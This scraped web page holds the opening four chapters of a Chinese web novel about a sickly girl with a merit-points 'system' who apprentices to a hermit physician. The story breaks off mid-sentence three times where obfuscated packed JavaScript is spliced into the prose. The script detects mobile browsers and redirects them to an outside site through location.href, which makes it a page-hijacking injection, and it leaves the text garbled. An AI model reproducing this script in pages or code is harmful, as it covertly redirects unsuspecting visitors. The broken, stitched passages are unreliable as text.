《咸鱼女主靠搓药苟命》 1. 第 1 章 云州城向西三十里外,绵延几里俱是奇山峻岭,层峦叠嶂间横亘着天然石拱桥,飞泉流瀑叮咚作响。巍峨山顶缭绕的云雾似覆着一层面纱轻盈飘动,亲临其境犹入仙人福地。 晏时蕴和卢晚茵无暇风景,他们已在山道上走了几个时辰。暑气蒸腾,二人薄汗透衣脚步渐缓。 林靖背着个十来岁的小姑娘,步履依旧轻盈,察觉到与身后人拉开了不少距离,又立即回转身去寻人。 背上的女孩被惊醒了,她一双过于清瘦的小手握在林靖肩头,双眼无神睁着,眼下是一小片青黑。 林靖运气几个起落后,来到了晏家夫妇身边。 “老爷和夫人先歇息会,我去前面探探路。” 林靖说着,小心蹲下让女孩安稳落地。 卢晚茵擦了一把额上细汗,赶紧上前扶住女孩:“阿璇醒了!可有哪里觉得不舒服?” 晏璇摇了摇头:“娘,我有点渴。” 晏时蕴立即解下腰间水囊递给卢晚茵,对着林靖吩咐道:“也好,你前去小心。” “是。” 林靖抱了抱拳,转身提气飞纵跃上树头,一会隐没了身形。 山泉水甘冽,晏璇喝了两口觉得整个人都活了过来,舒服得喟叹。卢晚茵用手背拭了拭她的额头,没发现什么异常这才安心些。 望着远处遮天蔽日的山林,卢晚茵问道:“时蕴,孟先生真的隐居在此吗?” 一路行来,山势险要人迹罕至,她虽知高人隐士都偏爱此种地方,心里终究是悬着的。 晏时蕴翻出一张空白灵签,在掌心摩挲片刻:“我们应该相信素慧大师,孟先生淡出江湖多年,想找到他定是要费一番功夫的。” 晏璇阖眼假寐听爹娘谈话,趁着片刻清醒立即和脑海里的小东西打招呼。 【嗨,系统!你在吗?】 熟悉的机械音响起:【宿主我在,我的编号是EM11009,很高兴为您服务。】 晏璇:天姥姥,她真的不是在做梦…… 晏璇自有意识起,已经历经多个世界,做了几辈子别人的女儿。然而每一个世界的她都活不久,不是生来病弱就会意外身亡,仿佛陷入一个死循环的恐怖故事。 这个世界她依旧没有逃脱,打小病恹恹的,得过且过的她都怕哪天天上掉坨鸟粪能把她砸死。一切的转机源于晏时蕴和卢晚茵张榜求医给她找了一个西域大夫。 这些年,为了给女儿治怪病,三教九流的人夫妇俩见了不少。这位西域来的初看落拓了些,可言之有物,针灸技艺不凡,晏家人顿时觉得治疗有望。然而,过了没两天,大夫给晏璇塞了一颗秘药后突然留信离去。晏璇对着大夫那张颓废美的脸一时恍惚,等记起要警惕的时候晚了,她跟误食了漂亮菌子一样,神志不清。 “胎神!来塞!劳资不得虚你!” “娘,看!好大的星星。” “好困,想吃人。” “……” 晏璇一边流泪一边控制不住叫嚣,跟个精神病没什么区别。 如此闹了两日,她开始发烧,病情急转直下。幸好,曾经得夫妇俩善举恩惠的天峰寺高僧素慧大师,给他们带来了昔日神医孟尧的下落。 一家人火急火燎赶路的当口,晏璇脑海深处突然传来“叮”的一声,仿佛整个灵魂都为之一颤。一道机械音响起,自称系统的家伙说为她而来。 晏璇有种苦尽甘来流泪的冲动,管它是什么不明生物还是意识入侵,她真的漂泊太久快疯了。 晏璇:【系统,我知道。是要做什么任务升级,还是要攻略什么人物吗?】 系统:【宿主的魂体特殊,上面特派我来协助你获取生命值,没有强迫执行的任务。】 天下有这种好事?晏璇不信:【那,我现在有多少生命值?】 系统:【宿主的基础生命值为22,允许波动范围在-100%~3%,当前实时生命值为3.5,换算为这个世界的时间大约为两年。如果需要,可以帮宿主以倒计时天数高亮显示,但是综合宿主身心疲弱等多方面因素,得出的结果是不建议。】 它也知道对一个快殒命的人时刻提醒还剩多少时间是件残忍的事…… 晏璇深吸一口气,转而问:【你说的波动是什么意思?】 系统:【是指威胁性命的意外事件以及宿主自身体能变化造成的生命值波动。】 换句话说,她现在一头撞死或者从这跳下去,马上可以换身份去做别人女儿了……狗系统啊。 系统:【是的。宿主你好,我的编号是EM11009,不叫狗系统。】 晏璇:【……不要随便读我的心声,你们系统没有相关守则规定吗?】 系统:【……对不起。】 晏璇感知着脑海里那团灰色光团:【你的编号有点长,以后我喊你小九吧。】 系统:【好的,宿主!】 晏璇半睁开眼,见她爹正给她娘按揉脚肚子。卢晚茵有些赧意,推了推晏时蕴,晏时蕴只说再按揉一会,不然晚上疼得睡不着。 晏璇想起几年前她爹为了挽救一批货物冒雨赶路,马车在半道上翻了压坏了他的腿。他不得不在家休养了数月,还时常逗她:“爹爹和阿璇一样咯,走路像不像一只小鸭子?嘎嘎嘎……” 当时的晏璇一口咬在晏时蕴企图摆弄她的双臂做大雁展翅蠢动作的手上…… 晏璇:“……” 小九在脑海上下飘荡:【宿主不要难过。生命值可以改变,我就是为此而来。】 晏璇:【是吗?】 小九:【是的。宿主只要不断行善、累积功德,基础生命值就会上升。】 晏璇沉默了一会:【你们这个系统是恶人改造系统还是叫好人系统?你老实告诉我,我以前是不是恶贯满盈的大魔头?】 小九:【宿主的想象力真丰富。】 晏璇在心底“啧”了一声:【我现在马上下山救济无家可归之人,赠药施粥,那生命值可会增加?】 小九:【宿主凭自身努力和心血付出行动,造成正影响都可以酌情得分。】 晏璇:【那我作恶呢?有了负影响会怎么样?】 小九:【本系统不具备评估此类行为的功能,世间因果会给宿主答案。】 也就是说,她干坏事系统不管…… 晏璇若有所思,眼皮也跟着渐渐耷拉,熟悉的睡意再次袭来。 不知道过去多久,有什么冰冰凉凉的落在脸上,一滴又一滴,晏璇勉强睁了半只眼。 “这雾山一带的天果真说变就变。” 卢晚茵扯开一件披风挡在晏璇的头顶。 “估计只是下一小会。阿茵,去那边大树下躲一躲。”晏时蕴扶着娘俩走到树荫下。 依旧是蔚蓝的天,耀眼的日光,晏璇看着雨丝落在苍翠欲滴的叶片上,朦胧的一层水雾飘散开来,层层叠叠摇晃着的树梢间有彩色光晕。 小树林传来窸窣响动,晏时蕴和卢晚茵立即起身。 一袭青衣踏空而出,轻巧落地,是去而复返的林靖。 晏时蕴舒了口气:“阿靖,有什么发现吗?” “前方山道狭窄,四周荒芜。我辨得几处有踪迹的草木,猜想有人经常在此采摘草药。” 晏时蕴和卢晚茵对看一眼,心下一喜:“我们继续往前看看。” 他转头时,正好瞥见林靖手上的一团灰白:“这是?” “林中发现的一只野兔。”林靖冷峻的面上露出一丝笑容,目光投向晏璇,“可以烤来给小姐加餐。” 晏时蕴点点头:“今日多半是要宿在野外。” 仿佛感知到了自己的命运,野兔在林靖手里猛得弹跳了一下,一缕血水顺着后腿滴落在地。 晏璇愣了下,盯着那一小滩血迹瞧。 林靖:“好像是被野狐咬伤了。往前走不远有个小山涧,把这野兔处理了,老爷夫人也可以用点水。” “好。” 晏时蕴背上包袱动身,忽觉袍角一紧被人用力扯了扯。 他一低头见女儿直愣愣盯着野兔看。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13095594|138094||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “阿璇,怎么了?” “爹。”晏璇指了指兔子,“我们放了它好不好?它那么可爱,还受伤了,好可怜……我们不吃它了。” 女儿气短,说话总是断断续续或者干脆不说,这次憋着一口气说了一长串,晏时蕴有些意外。 “阿璇以前很喜欢炭烤兔肉呢。” “……” “时蕴!”卢晚茵嗔怪地瞪了一眼,这个时候他还有心思逗弄女儿。 晏璇司空见惯,她转去林靖身边:“林叔,帮它治伤好吗?” “可以是可以。”林靖望了眼晏时蕴夫妇,迟疑道,“我只有人用的金疮药,不知对它有没有效?” “我们试试。” 林靖向来依她,见小女孩眼神迫切,这会已熟练抖开一块麻布,将兔子放在了上头。 一大一小凑在一处,嘀嘀咕咕,沉浸其中的两人把晏时蕴和卢晚茵晾在了一边。 “阿璇长大了啊……”良久,晏时蕴酸溜溜地叹了一句。 卢晚茵见女儿精神,自己也少了些烦闷,她给晏璇擦洗手上沾到的脏污。 【有新的提示:爱护弱小,生命值加0.2%。】 晏璇脸上绽开一个笑容,低头撸了一把肥兔子。 小九在脑海中晃了一圈,补充提醒道:【宿主,这属于特殊情况的加分,不代表所有的放生行为有效。】 晏璇正想问问怎么个特殊情况,只见林叔一个箭步冲出,抬手将她家三口护在身后。 “请小心!” 几乎在他动身之际,一道爽朗的笑声响起,不远不近就在耳边萦绕。 一个着素色长衫,头戴斗笠,手提鱼篓的男子踏着暮色款步而来,他站在五步开外,山风微微吹动他垂下的白发,一双温和的桃花眼上下打量着林靖。 “小友,好俊的功夫。” 他晃着手中鱼篓,眉目含笑:“小姑娘好一颗赤子之心。老头子今天收获不错,想不想一起喝鱼汤?” 小雨早被暑气蒸发吐了烟魂,绚丽霞光铺陈在整个天际。男子的周身笼罩着温柔余晖,淡淡的笑颜诱人不自主想要亲近,晏璇呆望着来人。 “师父。” 低哑男声忽的从头顶传来,伴着清脆的叮咚铃声。晏璇愣愣抬头对上一双黑亮的眼睛,望入其中,似月光照耀下的一汪雪山潭水。 少年仅是瞥了她一眼,灰色身影从她眼前划过。他站在前方不远处,晏璇能看见对方沉静的侧脸以及眉梢上的一道狭长疤痕。 是个野性十足的俊朗哥哥…… 少年警觉,侧头便睨了她一眼,眼神冷厉。 晏璇:“……” “阿璇,阿璇?”卢晚茵轻拍了一下晏璇的肩,笑道,“你这孩子去哪神游了?孟先生请我们去他的住处,你想自己走一走还是想让林叔继续背你?” “啊?”晏璇迷茫地看向卢晚茵。 小九贴心凑上来:【宿主,刚刚在你发呆的时候,他们已经互道姓名了。这位白头发的就是神医孟尧,旁边是他的徒弟孟珎。】 晏璇见她爹和她娘脸上都带着喜色,连林叔都是难得一见的欢喜。 她的视线在众人中转了一圈,最后落在少年腰间垂挂着的银铃上。 “娘,我想跟……这个小哥哥一块走。” 孟珎不可思议地抬头,皱着眉审视着晏璇。 晏时蕴和卢晚茵看出少年的不耐,不想女儿热脸贴了冷屁股,正要劝说却听孟尧笑了一声。 “还是他们同辈的孩子有话聊,让珎儿带着小姑娘吧。” 晏璇抱着兔子,眉眼弯弯,期待地望向少年。 孟珎敛了情绪,偏头道了句:“好好跟着。” “好的,孟珎哥哥。” 少年脚步微顿,抬脚竟是三步并作两步走,矫健的身姿透出几分僵硬。 小九:【宿主,你为什么要去惹他?】 晏璇轻叹:【有吗?我这是见他长得好看心中欢喜。】 她扬了扬嘴角,随即迈步跟上。 2. 第 2 章 晏璇被左手的一阵刺痛激醒,周遭的声音嗡嗡嗡地传入她耳中。 额上有温热流连,是有人在探她的体温。一阵窸窣声响后,轻语声起,不久身边又陷入了安静。 晏璇缓了一会才睁开眼,屋里昏暗,空气中弥散着药物的苦味。她躺在一张靠窗的竹榻上,窗子被支开少许,阵阵晚风吹拂在她脸上。 手指还有些隐痛,她抬起看了眼,食指上有个不大不小的针眼,上头被涂了一层清清凉凉的药膏。 晏璇随意打量着屋子,简陋的室内几乎没有特别的摆设,唯有墙上挂着的一个超大药葫芦吸引眼球。为什么说这是个药葫芦,只因它上头刻了一个巨大的“药”字,不知里面是不是装了神丹妙药。 她稍一恍神,一团浅绿的光点落在眼前,她眨了眨眼那光团仍在。 “萤火虫?是不是太大了些,是生物变异吗?一个个都长得这般大。” 光团跳动了一下停在她的鼻尖,一闪一闪的,晏璇忽而想起某个萤火虫钻进耳朵的恐怖故事,头皮发麻地赶紧晃了晃头。 光团飞离她的鼻头,机械音响了起来:【宿主,你醒了。是我,小九。】 晏璇惊讶道:【小九?你成精了?】 小九:【这是我的应急形态,除了宿主没人能看见。】 晏璇:【哦,挺好的。以后也这样吧,比那个灰扑扑的好看。】 被系统一吓,晏璇脑子清醒了些,她记起自己是条废咸鱼的现实,以及强行装X的后果。 跟在孟珎身后没走两步,她就体力不济,气喘吁吁。身上的长裙似乎都成了累赘,她本想和孟珎搭个话,结果两眼一黑失去了意识。 小九:【检测到生命值有波动。】 晏璇面无表情:【不用播报,肯定是降了。】 救了兔子才升了丁点……对了,她的小肥兔呢? 小九忙道:【宿主,当时情况发生突然,多亏孟珎及时接住了你。所有人顾着你的安危,小兔子自己跑进了林子。】 晏璇:【小九你又读我心声,算了……】 此时木门传来吱呀声,有人进来了。 随着铃声微响,晏璇听得那人在屋内走动,没一会暖黄的灯光亮了起来。 叮铃声渐近,投射于墙上的影子越发清晰,她故意弄出些动静,含糊地喊了声:“娘。” “你醒了。”是孟珎冷淡又有些惊讶的声音。 晏璇揉着眼睛半坐起,孟珎从身旁的木桌上端过一个瓷碗,举到她面前:“师父交待你要喝的药。” 浓黑的药汁在面前晃荡,晏璇幽幽盯着,舌根不由自主泛起涩味。 孟珎见她抱坐着像颗迷糊的琉璃团子,柔柔弱弱和之前是两副面孔,不觉放低语气问了句:“怎么?” 晏璇左右看看:“孟珎哥哥,这是哪里,我爹娘呢?” “这里雾山顶,你爹娘在和师父谈话,喝药吧。” “……哦。” 晏璇认命接过,却是一脸苦大仇深迟迟不动。 捧着药碗的手皙白如玉,身上穿的是做工精致的云纱,再看那对夫妻哄着捧着的模样,眼前这位是个被娇惯着长大的大小姐啊。孟珎不禁揣测,莫不是平时喝药也要人哄着。 晏璇不知对面的人在发什么神经,余光中见他立在那,浑身散发着寒气。若说讨厌她,他还会搭理劝她喝药,行为上也不似臭屁年纪犯毛病…… 咸鱼脑袋懒得想,晏璇屏息着一口气喝完了药。她吐着舌,把空药碗递还回去,翻了个身背对着孟珎缓缓躺了下去。 以为她会娇气地抱怨两声,没想到意外干脆利落,孟珎拿着空碗准备回灶房准备饭食。出门前他下意识回望了一眼,脚步一顿,登时疾走几步回到塌前,身上银铃被带起,晃得叮当作响。 榻上的人闭着眼微抖着,手握成拳抵在腹部,整个背弓了起来,本没什么血色的唇被她咬得发白。 孟珎探手按住她一侧肩膀,暗哑的声音带了丝急切:“你怎么样?” 老毛病罢了,晏璇哼了声:“一会……就好了。” 她的样子太过习以为常,孟珎无声凝视了两眼,见她没有其他异样回身倒了一杯温水。 “喝一些,会好一点。” 他的手托在她的肩后,有些笨拙地将她扶住,晏璇顺势勉强喝了一口,胃部的痉挛令她脱力。 两人挨得近,她稍稍抬眸就看到了少年自眉弓到眉梢的那条疤痕,根据愈合的伤口能看出是被利器一刀划下,毫不犹豫那种。他的年纪比自己大不了多少,再推算受伤时的大致年龄,无怪乎人家冷眼看人了。 感知到她的目光,孟珎无意识向后一仰,毫无预兆地收手,杯中没喝完的水一半溅落在地上,一半洒在了晏璇的下巴和衣领上。 晏璇:“……” 他撇过脸避开了她的视线,僵着身子胸口微微起伏。 晏璇揉了揉磕到的手肘,用衣袖擦去了身上的水痕。在外人看来,她一向是反应迟钝的,这会也就当孟珎退开的动作粗鲁了些,不觉有异。 她揉了揉腹部:“孟珎哥哥,谢谢。” 说完,晏璇便扯过塌边的一张薄毯,抖了抖铺开盖在身上。山里的夜晚有些凉,喝过药的身体倒是暖和起来了,爹和娘聊什么聊这么久呢……晏璇闭着眼,在困意中浮浮沉沉。 塌边一直没再发出声响,孟珎心下发沉,那人看着是个拙笨硬撑的,师父用药又重又急,可别有什么意外。他转身小心瞥一眼又一眼,榻上的人双手交叠规矩地放在腹上,面色恬静嘴唇微张,已呼吸均匀地入眠了。 孟珎:“……” 是个心宽的小傻子。 晏璇入睡容易,也易被惊醒。她睁开眼时,晏时蕴和卢晚茵各守在她一边。一人一脸凝重,一人眼底发红神色恍惚。 晏璇想起之前某一世,她病重住院,父母去术前谈话后就是这个表情。 曾经她有些迷茫,现在有了系统,不说命运马上反转她倒是释然许多。 “爹,娘,刚才在路上……我突然困了……”晏璇整个人缩在毯下,只露出半张脸,“不是不愿意自己走……” 卢晚茵从失神状态中直起身子,眸光湿润:“阿璇。” 晏时蕴看了眼仍黯然着的妻子,走近两步摸向晏璇的发顶,温和道:“阿璇,以后……住在这里让孟神医给你治病好不好?” “住在这里?”晏璇疑惑。 “嗯,阿璇的病需要治一段时间。等你完全好了,以后想做什么就能做什么了。” 卢晚茵勉强挤出一丝笑:“你跟着神医爷爷乖乖的,爹和娘会常来看你。” 他们必是隐瞒了些什么,晏璇看看爹娘又好奇地盯着孟尧瞧。 “那,我可以和爷爷学医吗?” 孟尧微微讶异,笑问:“小姑娘想跟我学医?” 晏时蕴和卢晚茵一时也怔愣,女儿乖巧有余定性不足,因身体原因常常懒怠,怎的突然动了这个念头。 晏璇郑重点头:“嗯。” 孟尧抚着胡须,眯眼道:“你体质特殊,我本也是想收你为徒让你有自保能力。不过,学医很是辛苦,老头子不喜欢半途而废的人,我想听听你的理由。” “孟先生?!” 晏家夫妇之前可没听他有这个打算。可要是大师愿意,于自己女儿绝对算一件好事,江湖上谁人不知孟尧师出药王谷,是当年在阎王手下抢人的神医。 孟珎站在孟尧身后,不禁抬头看了眼晏璇,若她只是心血来潮,师父可不会同意。 晏璇有自知之明,如何一直行善积功德是个问题,既然她现在需要在山上治病那为何不利用这个机会,以后无论是给人看病还是只做药师,赚生 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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晏璇在心中惊呼一声,侧头去看,只见孟珎低着头,依言举起三指,缓声道:“我孟珎对天发誓,今后会永远护着晏璇,不叫任何人欺负利用她包括我自己。” 这小子可真的听师父的话,如若他垂着的那只手没有攥得死紧就更好了。前期buff已叠满,晏璇想,此刻自己的世界是一本小说,那她定是个招人恨的短命炮灰女配。 哎呀,她真是对不住了。 “阿璇。”孟尧转过头来看她,“我也要你在此发誓,今后护好自己不得随意伤害自己身体。” 晏璇:“啊?!” 这个“不得伤害自己身体”就很耐人寻味了,什么情况出于什么理由她会干这种事,再加上之前他说自己体质特殊,晏璇不得不发散思维。已知林叔是她家护卫却功夫了得,她爹娘是普通商户却和天峰寺的大师有缘,难道说她爹娘是隐姓埋名或者退隐江湖的高手?她也就继承了不得了的能力? 小九:【宿主,你的想象力依旧很丰富呢。】 晏璇没好气:【那你说是怎么回事?我可是有什么金手指?】 小九:【对不起,宿主,系统无法得知。】 她就指望不上这个打工仔,一问到关键点不是不知道就是死机不回复,不如直接问师父。 孟尧没有立刻解释:“等你正式入门,师父都会告诉你。” 还好师父没有诸葛亮焚香弹琴,说什么等时机成熟之类的。 晏璇乖巧地发了誓,转头和孟珎惊诧的眼神对上。 哎,小哥哥成了便宜师兄啊。 晏璇浅浅一笑:“以后,阿璇也会保护师兄的。” 能不能做到没什么要紧,孟珎也不会想着让她来保护,这牛皮却是要吹出去的。 谁叫她绑定的是好人系统呢。 3. 第 3 章 烈阳当空,蝉鸣聒噪,夏日的雾山也沾上了一丝火热。 不过,比起晏璇老家斛县,这儿要凉快许多。卢晚茵走的时候,仍给她准备了足够的夏装,以及日常惯用的东西。夫妻俩隔一段时间还要托人带东西到镇上,晏璇在山中的日子并不难过。 今日,她穿了件轻便的碎花长裙,腰间系有绣凤鸟纹的竹青色百宝袋,在住处后的山壁前寻了块地,这儿长有几棵高大的马尾松刚好能遮阳。 她拢了拢裙下摆抱膝蹲下,在正前方的地上放了一点梅花酥饼的饼屑,又在一掌之隔的右前方放上了一点,这酥饼是老家的特产,特别香甜酥脆。 等了不一会,地面上密密麻麻的黑色军出动了。 小九:【宿主,你已经找了三窝蚂蚁,有结果了吗?】 晏璇:【你自己看。】 小九悬在地面上方:【它们不动了,是死了吗?】 晏璇:【你再看看。】 小九又离地近了些:【咦?好像还活着,慢慢动起来了。】 晏璇拍拍手起身,算是得了一个自己想要的结果。 第一日上山,孟尧取了她的血又说她体质特殊,晏璇多少上了点心。既然有系统,她身怀金手指也不是没可能,但一切得等她的身体养好。现在她的血更像是含了麻醉剂,算是某种不伤人的毒。 那么问题来了,她是怎么中毒的? 晏璇暂时还想不明白。 小九飘在空中:【宿主,一定是因为你的血特殊,孟尧才说要你护好自己。】 晏璇:【谁知道呢。】 真要是系统猜测,她可就有成为别人血药包的风险,可怕得很…… 孟珎找来的时候,一眼看到树底下的晏璇,粉粉绿绿的一团窝着,她手上拿着根细树枝在玩蚂蚁。 旁边没人的时候,她常常这般自娱自乐或是安静坐在某处吃零嘴。师父说,师妹从小病弱,虽有父母疼爱却困于宅院,没什么玩伴。 孟珎忽然理解了第一次见面时她的反应,仿佛有着莫大兴趣地盯着他,看见他额上的伤也只是好奇望望,没有其他厌恶害怕的表情。 他静看了一会,出声喊她:“师妹,吃饭了。” 得了小九的提醒,晏璇不知道她的师兄又在观察什么,她快速收拾了一番,听到声音后回头应道:“来了。” 她背着手跟在孟珎身后,偶尔瞥他一眼,少年垂在身侧的手粗糙厚实,掌心都是劳作留下的硬茧。 照顾药草、洗衣做饭、下山采买,似乎什么活他都会。晏璇也没见他有厌烦的情绪,整天像戴了面具一个表情,假人一个就没意思了。 昨日,师父说要给她打一把新的竹椅,这活也落到了孟珎头上。不过是个十三四岁的少年,许多事不是去做就能做好,更多的是不得已或者习惯了。 晏璇想,孟尧应该不是那种高级三字母大师吧…… 此时,她盯着孟珎左手上一道肿着的红痕,心情稍显复杂:“师兄,你的手受伤了。” 孟珎脚步微顿,抬手扯落了挽起的衣袖,低声道:“没事。” 这动作多少有些此地无银。晏璇望着少年越走越快的步子,他可别带伤做什么椅子,她还没挣到几个生命值,反而因他功德有损就太冤了。 小九:【宿主,本系统不具备评估负影响行为。】 哦,她忘了,看来自己还是有点良心的。 晏璇跟着孟珎去了灶房。灶房被一道竹帘分隔成两个隔间,一边是灶台和药炉,边上有几口瓦缸,用来存放米面和蔬果,另一边则摆了桌凳,师徒三人在这里用膳。 晏璇先去水缸里舀了一瓢水,走到屋外喊孟珎:“师兄,快来。” 孟珎抿着唇,脚下却自然地跟了过去。自晏璇来了后,每当饭前都要用流水净手。他虽知洁净的道理,第一次被晏璇要求照做时,身体僵硬得不像在洗手而是在搓玉米棒子。 此时,他娴熟地接过水瓢,晏璇便伸长了手等着。他的视线落在她平举的掌心处,随着倾倒的水流洗去上面的尘灰,这双没被磋磨过的手是与他截然相反应的,该被呵护的一双手。 屋外的檐下有个新搭的简易木架,上面放了布巾,孟珎取了一块给她擦手。 今日的午膳,师徒三人照旧两菜一汤。饶是山上各种不便,孟珎总能出乎意料备好每一餐,晏璇越来越习惯孟珎做饭的手艺。 她鼻头微动,闻到了熟悉的香甜味,看来今天有她喜欢的蒸糕。晏璇两眼弯弯,愉快地吃了大半碗饭,因为脾胃一向不好,她已经努力做到细嚼慢咽。 孟尧看着她鼓起的腮帮,笑道:“慢些吃,今日还要去泡一回药泉,考校的事就放在明日,晚一点和你师兄把院子里的草药收了便好。” 晏璇点点头,有些心虚地瞥了眼孟珎,师父应该不知道她偷懒让孟珎一个人把活都干了。 岂料,孟珎也正向她望过来。 晏璇:“……” 不过,他马上移开了视线,垂着脸道:“吃完饭,记得喝药。” 晏璇这才看到他右手端着一碗药汤,今天是隔天一次的药补时间。 不知道师父是怎么开的方子,这药苦得令人发指。晏璇顿时没了胃口,捣鼓了两下碗底放下了筷子,将它们搁在碗上。 “我吃饱了。” 见她捧起了药碗,孟珎开始收拾饭桌,将装着甜糕的小碟摆在了她的右手边。 晏璇眯着眼喝完药,顺手拿了一块糕点塞嘴里,那浓烈的苦涩味才被盖住一点。她慢慢咀嚼感受着舌尖的甜味,视线不由转到了一旁忙碌的孟珎身上。 原来,他是记着今天她要喝药才准备的点心。 明明给她一块饴糖就行,就因为她之前口快说了句不如家里的。明明连管都不用管她,谁喝药不是这样苦过来的……她这个师兄啊,又倔又怪,自以为天天冰柱子谁都该怕他似的,偏又是个烂好人。 【小九,我突然觉得你不该和我绑定,应该去绑我师兄。】晏璇叹道。 小九:【可是,他不需要获取生命值。】 晏璇:【……】 “这是……”孟珎收拾完碗筷,捡起灶边的一个纱布袋。 晏璇回过神,起身过去勾走了孟珎手里的东西。 “这个……是我的。” 孟尧喝着饭后茶,好奇道:“阿璇藏的什么宝贝?” “是……蚂蚁。” “蚂蚁?要拿来做什么吗?” 做什么?她只是之前听孟尧说这东西能入药,刚好试验又引了一大堆来。先前还不觉得,这会看到纱布里爬动着的小黑点,感觉身上也有什么东西在爬。 她用两个手指捏住布袋一角,将它提远了一些,眼睛不经意扫过孟珎的左手。 她顿了顿,把东西往孟珎面前伸:“师兄的手伤了,可以用这个治。” 孟珎讶异抬头,一下望进晏璇微微含笑的眼中,方才她在树下是为了这个?孟珎握着木盆两端的手不自觉地抓紧了些。 他明明告诉她了…… 孟珎时常觉得晏璇还是小孩,做事拖沓偶尔心不在焉,她不是真的想跟师父学医。可师父应了,他该做好一个师兄该做的,其他并不在意。而晏璇,她似乎永远纯粹地做着自己觉得对的事。 一种难言又窘迫的情绪涌上孟珎的心头…… “珎儿受伤了?”孟尧意外地看向孟珎,“可还严重?” 手心越发烫起来,孟珎别过脸,声音哑得厉害:“我没事,是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13095596|138094||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 师妹看错了。” 小九转到孟珎正脸方向:【宿主,孟珎眼红红的,是被你感动了?】 晏璇无语:【他分明是嫌我多管闲事,刚才瞪我那眼你没看到?】 小九:【也是,宿主玩蚂蚁时分明不知他受伤了,孟珎看着就不是好糊弄的。】 晏璇:【什么糊弄,只要结果好就可以了。】 孟珎自己可以做烂好人,她让他对自己好点仿佛是什么罪过,小小年纪到底是经历了什么? 晏璇有些后悔把东西从孟珎手里抢过来,不如一开始就让他拿着,她忍着不适对孟尧道:“师兄骗人,他受伤藏起来了。” 孟尧一眼看到傻犟大徒弟的耳朵根都红了,心下了然,不好逼问他,只道:“你师兄说没事那就没事,这些蚂蚁就让他处理好了放在药房,以后也能用上。” “是,师父。”孟珎避着她将东西接了过去,“我先去洗碗。” 说着,他快步离开了灶房。 晏璇泄了一口气:【小九,我这算是有功德还是没有?】 小九想了会:【唔,暂时不算。】 晏璇垂了脸,恹恹道:“师父,我先回屋了。” 孟尧伸出的手举在半空,自己老糊涂了,顺了大徒弟,小徒弟的一片真心就落了空。 “阿璇……” 晏璇离开后,直接转了个弯去了药房。 小九:【宿主是要做什么?】 晏璇:【做点益气丸,怕折寿。】 小九:【宿主,现在实时生命值是3.15,属于正常衰减范围。】 晏璇:【……那我给姓孟的做点泄气丸。】 小九从药罐上掠过来掠过去:【泻气丸是什么?】 晏璇:【他气血凝滞,腑气不通,我给他做点药丸通通肠胃,最好把脑子也通一通。】 小九:【……宿主,我觉得这里的故意成分很大,那个其实是泻药吧?】 晏璇摊手:【是吗?我的心眼就这么点大,故意也很正常。】 她悠哉哉地正经搓了几颗蜜丸,等时候差不多起身去了药泉。 这药泉是师父改造的一口温泉,对练武之人来说可谓一块宝地,对她来说只是舒缓经脉,减轻乏力嗜睡的症状。 晏璇摸着石壁下水,脚下探到熟悉的石块。她穿着里衣靠着池边坐下,任水深没过她的胸口。 随着泉水的滋润,晏璇苍白的双颊透出正常人该有的红晕,今日的治疗也进行的差不多了。她拿过一边的干净帕子准备起身,林中忽的传来一片沙沙声。 周遭树木林立间未见枝叶晃动,并非是刮风引起的,晏璇自水中站起的身体又半蹲下去,扶着一株如荷叶般大小的水生植物挡着。 等了一会没发现异常,晏璇再次起身。没等她完整迈出一只脚,怪异的声响又起,她“唰”得钻回水里,只留盘着丸子头的脑袋露在水面上,眼睛滴溜溜地往四周瞧。 【小九,你确定不是什么野兽出没?】晏璇在脑中询问。 因为系统隐私守则,它这会回到了晏璇脑海,肯定道:【暂未发现异常。】 正在此时,清脆如银铃般的笑声响起,一道绯色身影翩翩然从她眼前掠过。弹指间,那人稳当地立于树梢,一柄裹着青布的细剑被抱胸于前,金色剑穗与束发的红色发带缠在一处随风飘摇,笑靥明媚的女子好奇地看着她。 “听说师伯收了个小徒弟特别乖巧,我原还不信。今日来了一见,真是只可爱的小包子啊。” 原来是师父的故人,晏璇放了心。 她仰头皱眉道:“你是谁?不可以偷看的。” “哈哈……”女子在树上笑弯了腰。 “记住了,药王谷花奕,你的师姐。” 4. 第 4 章 晏璇被人抱着举高高还是在三四岁的时候,晏时蕴偶尔偷偷陪她玩,被卢晚茵知晓是万万不能的,生怕不小心把她伤了。 此时,她被人拦腰抱住飞在半空。晏璇伸手环住对方的脖颈,紧靠着的上半身能感受到对方因为闷笑产生的微微颤动。 花奕在林间灵活跳跃,低头笑看她一眼:“小晏璇安心,师姐不会让你掉下去的。” 害怕不至于,身体本能反应而已。她倒是觉得很新奇,武侠世界真令人惊叹。不过,药王谷的怎么个个都是医武双修…… 晏璇靠在花奕肩头,享受人形代步的便利。脸颊挨靠着鼓起,肉嘟嘟得令花奕忍不住上手,对着她捏了又捏。 “啊,小包子,真的好软好弹。” 晏璇:“……” 算了,就当是体验空中飞人的一点回报吧。 “奕姐姐,是师父叫你来寻我吗?” 